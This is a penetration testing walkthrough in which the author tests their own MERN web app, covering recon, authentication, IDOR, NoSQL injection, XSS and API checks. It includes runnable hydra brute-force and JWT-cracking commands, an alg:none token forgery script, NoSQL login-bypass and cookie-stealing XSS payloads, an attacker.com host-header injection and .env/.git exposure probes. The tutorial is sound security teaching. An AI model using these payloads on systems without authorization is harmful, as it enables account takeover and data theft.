MERN Web App Penetration Testing — Full Walkthrough
A full offensive security walkthrough against a MERN stack web application — from initial recon all the way through exploitation. Methodology I applied against my own live app.
Overview
This is a documented penetration test against a MERN (MongoDB, Express.js, React, Node.js) web application I own. The goal is to go through the full offensive methodology — the same one I’m building through OSCP — and find real vulnerabilities before someone else does.
Target: MERN stack web app
Scope: Full application — frontend, backend API, authentication, database layer
Approach: Black box → Grey box (reviewing my own source after testing blind)
Phase 1 — Passive Recon
Before touching the target, collect as much information as possible without sending a single packet to it.
WHOIS and DNS
1
2
3
4
whois lucidflow.ai
nslookup lucidflow.ai
dig lucidflow.ai ANY
dig lucidflow.ai MX
What I’m looking for:
- Registrar, registration date, expiry
- Nameservers (Cloudflare? Route53? Namecheap?)
- Mail server records — sometimes reveals hosting provider
- IPv4/IPv6 addresses
Certificate Transparency Logs
Certificates are public record. I can find subdomains by looking at certs issued for the domain:
1
2
# Using crt.sh
curl -s "https://crt.sh/?q=%.lucidflow.ai&output=json" | jq '.[].name_value' | sort -u
This often reveals:
api.lucidflow.aiadmin.lucidflow.aistaging.lucidflow.aidev.lucidflow.ai
Staging and dev environments are gold — they’re usually less hardened than production.
Wayback Machine / Cached Pages
1
2
# Check for old versions and exposed paths
curl "http://web.archive.org/cdx/search/cdx?url=lucidflow.ai/*&output=text&fl=original&collapse=urlkey"
Old cached pages sometimes show:
- Removed endpoints that still work in the backend
- Old login pages
- Old API versions (
/api/v1/while current is/api/v2/)
Google Dorking
1
2
3
4
5
site:lucidflow.ai
site:lucidflow.ai filetype:json
site:lucidflow.ai inurl:api
site:lucidflow.ai ext:env OR ext:config OR ext:bak
"lucidflow.ai" inurl:admin
Phase 2 — Active Recon
Now I start sending requests to the target.
HTTP Header Analysis
1
curl -sI https://lucidflow.ai
Headers I look for:
| Header | What it means if missing |
|---|---|
Strict-Transport-Security | HTTP downgrade possible |
Content-Security-Policy | XSS easier to exploit |
X-Frame-Options | Clickjacking possible |
X-Content-Type-Options | MIME sniffing attacks |
Referrer-Policy | Token/data leakage in referrer |
MERN apps often skip these because the React frontend just calls an API — developers forget to set security headers on the Express server.
Tech Stack Fingerprinting
1
whatweb https://lucidflow.ai
Also check manually:
- Response headers:
X-Powered-By: Expressreveals the backend immediately - Browser DevTools → Network tab: Look at response headers on every API call
- Cookie names:
connect.sid= Express-session,token= likely JWT - Error messages: A stack trace reveals Node.js version, package names, file paths
Port Scanning
1
nmap -sV -sC -p- lucidflow.ai --open
What I’m hunting for in a MERN app:
- 27017 — MongoDB default port. If exposed to the internet with no auth = game over
- 3000/8080 — Exposed development server
- 22 — SSH with password auth enabled
- 443/80 — Web server (expected)
Directory and Endpoint Fuzzing
React apps are SPAs — the frontend routes mean nothing to the backend. The real endpoints are on the Express API.
1
2
3
4
5
6
7
8
9
10
# Fuzz the API
ffuf -u https://lucidflow.ai/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,401,403 \
-o api-fuzz-results.txt
# Common MERN API patterns
ffuf -u https://lucidflow.ai/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,401,403
Look for:
/api/users— user list/api/admin— admin panel/api/debug— debug endpoints left open/.env— exposed environment file/graphql— GraphQL endpoint (needs its own testing methodology)
Phase 3 — Authentication Testing
Authentication is almost always the most vulnerable part of a MERN app.
Username/Email Enumeration
Try registering or resetting password with both a valid and invalid email. Compare responses:
1
2
3
4
5
6
7
POST /api/auth/forgot-password
{"email": "real@email.com"}
→ Response: "Reset email sent"
POST /api/auth/forgot-password
{"email": "fake@email.com"}
→ Response: "Email not found"
Different responses = enumeration vulnerability. An attacker can enumerate all registered users.
Correct behavior: Same response regardless of whether email exists.
Brute Force / Rate Limiting
1
2
3
4
5
# Test if rate limiting exists on login
hydra -l admin@lucidflow.ai -P /usr/share/wordlists/rockyou.txt \
lucidflow.ai https-post-form \
"/api/auth/login:email=^USER^&password=^PASS^:Invalid credentials" \
-t 20
Most Node.js apps forget to add express-rate-limit. Without it:
- Login endpoint can be brute forced indefinitely
- Password reset can be spammed
JWT Testing
If the app uses JWTs (most MERN apps do), there are several attack vectors:
1. Decode the token — inspect the claims:
1
2
3
# JWT is base64 encoded — decode it
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2M..." | \
cut -d'.' -f2 | base64 -d 2>/dev/null | jq
Look at the payload:
1
2
3
4
5
6
{
"userId": "64a1b2c3d4e5f6",
"role": "user",
"iat": 1685000000,
"exp": 1685086400
}
2. Algorithm confusion — alg: none attack:
Change the header to {"alg":"none","typ":"JWT"} and remove the signature. Some libraries accept this:
1
2
3
4
5
6
7
# Craft a token with alg:none
python3 -c "
import base64, json
header = base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({'userId':'64a1b2c3d4e5f6','role':'admin'}).encode()).decode().rstrip('=')
print(f'{header}.{payload}.')
"
3. Weak secret brute force:
1
2
3
4
# Try to crack the JWT signing secret
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
# or
john --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 jwt.txt
If the secret is weak (secret, password, jwt_secret, app name) — attacker can forge any token.
Password Reset Flow
Test the full flow step by step:
- Token expiry — does the reset link expire? Try using it 24hrs later
- Token reuse — after resetting, does the old token still work?
- Token predictability — are reset tokens sequential or time-based?
- Host header injection:
1
2
3
POST /api/auth/forgot-password
Host: attacker.com
{"email": "victim@email.com"}
If the app uses req.headers.host to build the reset URL, the victim gets a link pointing to attacker.com — attacker captures the token.
Phase 4 — Authorization Testing (IDOR)
Insecure Direct Object Reference — accessing other users’ resources by changing an ID.
Horizontal Privilege Escalation
1
2
3
4
5
6
7
# Login as user A, get their profile
GET /api/users/64a1b2c3d4e5f6
Authorization: Bearer <user_A_token>
# Now change the ID to user B's ID
GET /api/users/64a1b2c3d4e5f7
Authorization: Bearer <user_A_token>
If you can see user B’s data with user A’s token = IDOR.
Vertical Privilege Escalation
1
2
3
4
5
# Normal user trying admin endpoint
GET /api/admin/users
Authorization: Bearer <normal_user_token>
# Should return 403 — if it returns data = broken access control
Also test HTTP method switching:
1
2
3
# GET might be restricted but POST/PUT/DELETE might not be
POST /api/admin/users
Authorization: Bearer <normal_user_token>
Mass Assignment
MERN apps often bind request body directly to MongoDB documents:
1
2
// Vulnerable code pattern
const user = await User.findByIdAndUpdate(req.params.id, req.body)
Try sending extra fields in a POST/PUT request:
1
2
3
4
5
6
7
{
"username": "muhammed",
"email": "new@email.com",
"role": "admin",
"isVerified": true,
"credits": 9999
}
If the backend doesn’t whitelist fields, any property can be overwritten.
Phase 5 — Injection Attacks
NoSQL Injection (MongoDB-specific)
This is the MERN equivalent of SQL injection. MongoDB query operators can be injected via JSON:
Login bypass:
1
2
3
4
5
6
7
8
9
# Normal login
POST /api/auth/login
{"email": "admin@lucidflow.ai", "password": "wrong"}
→ 401 Unauthorized
# NoSQL injection — $ne (not equal) operator
POST /api/auth/login
{"email": "admin@lucidflow.ai", "password": {"$ne": ""}}
→ 200 OK ← logged in without the password
Other useful operators:
1
2
3
{"password": {"$gt": ""}} // greater than empty string = any password
{"password": {"$regex": ".*"}} // matches anything
{"email": {"$exists": true}} // any email that exists
URL parameter injection:
1
2
3
4
5
6
7
# If the app uses query params
GET /api/users?username=admin
→ Returns admin user
# Inject operator
GET /api/users?username[$ne]=none
→ Returns ALL users
Stored XSS
React escapes output by default — but developers sometimes use dangerouslySetInnerHTML:
1
2
// Vulnerable React code
<div dangerouslySetInnerHTML= />
If any user input ends up in dangerouslySetInnerHTML, it’s stored XSS. Test all input fields:
1
2
3
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Also test fields that display other users’ data — profile names, comments, bio fields.
Server-Side Template Injection (SSTI)
If Node.js uses a templating engine (Handlebars, EJS, Pug) alongside React:
1
2
3
#{7*7}
<%= 7*7 %>
If the response shows 49 instead of the literal string, SSTI is present. From SSTI you can often reach RCE.
Phase 6 — API Security
CORS Misconfiguration
1
2
3
curl -sI https://lucidflow.ai/api/users \
-H "Origin: https://evil.com" \
-H "Authorization: Bearer <token>"
Check response headers:
1
2
3
Access-Control-Allow-Origin: * ← bad — any site can read responses
Access-Control-Allow-Origin: evil.com ← very bad — reflects arbitrary origin
Access-Control-Allow-Credentials: true ← critical if combined with wildcard
A vulnerable CORS config + withCredentials: true lets an attacker’s website read the victim’s API responses.
Sensitive Data in API Responses
APIs often return more data than the frontend displays. Always check the raw response:
1
2
GET /api/users/me
Authorization: Bearer <token>
Response might include:
1
2
3
4
5
6
7
8
9
{
"id": "64a1b2c3",
"username": "muhammed",
"email": "...",
"password": "$2b$10$...", ← hashed password — shouldn't be here
"resetToken": "abc123", ← reset token — definitely shouldn't be here
"role": "user",
"__v": 0
}
HTTP Method Testing
Test every endpoint with all HTTP methods:
1
2
3
4
5
6
7
for method in GET POST PUT PATCH DELETE OPTIONS; do
echo "--- $method ---"
curl -s -o /dev/null -w "%{http_code}" \
-X $method https://lucidflow.ai/api/users \
-H "Authorization: Bearer <token>"
echo ""
done
An endpoint that returns 403 on GET might accept DELETE without auth.
Phase 7 — Sensitive File Exposure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Environment files
curl https://lucidflow.ai/.env
curl https://lucidflow.ai/.env.local
curl https://lucidflow.ai/.env.production
# Source maps (expose original source code)
curl https://lucidflow.ai/static/js/main.chunk.js.map
# Common config files
curl https://lucidflow.ai/config.json
curl https://lucidflow.ai/package.json
curl https://lucidflow.ai/webpack.config.js
# Git exposure
curl https://lucidflow.ai/.git/config
curl https://lucidflow.ai/.git/HEAD
A leaked .env file contains:
MONGODB_URI(database connection string with credentials)JWT_SECRET(forge any token)STRIPE_SECRET_KEY/ payment API keysAWS_SECRET_ACCESS_KEY
This is an instant full compromise.
Phase 8 — Infrastructure
MongoDB Port Check
1
nmap -p 27017 lucidflow.ai
If port 27017 is open:
1
2
mongo --host lucidflow.ai --port 27017
# If no auth: show dbs; use appdb; show collections; db.users.find();
MongoDB with no auth and public exposure = full database dump without any credentials.
Node.js Debug Mode
1
2
# Node inspector default port
nmap -p 9229,9230 lucidflow.ai
If open, remote code execution is trivial.
Findings Summary Template
After running all phases, document findings like this:
| # | Vulnerability | Severity | Endpoint | Impact |
|---|---|---|---|---|
| 1 | NoSQL Injection | Critical | POST /api/auth/login | Auth bypass |
| 2 | Missing rate limiting | High | POST /api/auth/login | Brute force |
| 3 | IDOR | High | GET /api/users/:id | Data exposure |
| 4 | JWT weak secret | High | All authenticated routes | Token forgery |
| 5 | Missing CSP header | Medium | All responses | XSS impact amplified |
| 6 | User enumeration | Low | POST /api/auth/forgot-password | Account harvesting |
Tools Summary
| Tool | Purpose |
|---|---|
nmap | Port scanning, service detection |
ffuf | Directory and endpoint fuzzing |
curl | Manual HTTP request crafting |
Burp Suite | Intercept, modify, replay requests |
jwt.io | Decode and inspect JWT tokens |
hashcat / john | Crack JWT secrets |
hydra | Brute force login endpoints |
whatweb | Tech stack fingerprinting |
Postman | API exploration |
